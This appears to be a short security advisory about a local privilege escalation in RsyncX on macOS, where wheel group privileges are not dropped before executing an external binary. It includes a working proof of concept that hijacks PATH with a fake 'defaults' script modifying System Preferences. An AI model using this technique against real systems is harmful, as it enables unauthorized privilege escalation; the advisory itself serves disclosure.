source: https://www.securityfocus.com/bid/11211/info It is reported that RsyncX is prone to a local privilege escalation vulnerability. RsyncX is installed setuid root and setgid wheel. It is reported that RsyncX drops root privileges properly but fails to drop setgid wheel privileges before executing a third party binary. A local attacker may exploit this vulnerability to execute arbitrary code with group wheel privileges. The following example is available: First, make a backup of System\ Preferences.app Create an executable file ~/bin/defaults with contents of: ============================= #!/bin/sh mv "/Applications/System Preferences.app/Contents" "/Applications/System Preferences.app/oldcont" cp -r "/Applications/Calculator.app/Contents" "/Applications/System Preferences.app/Contents" ============================= Then run RsyncX with ~/bin in your path: PATH=~/bin:$PATH /Applications/Utilities/RsyncX.app/Contents/MacOS/RsyncX Click on System Preferences, and is now a calculator.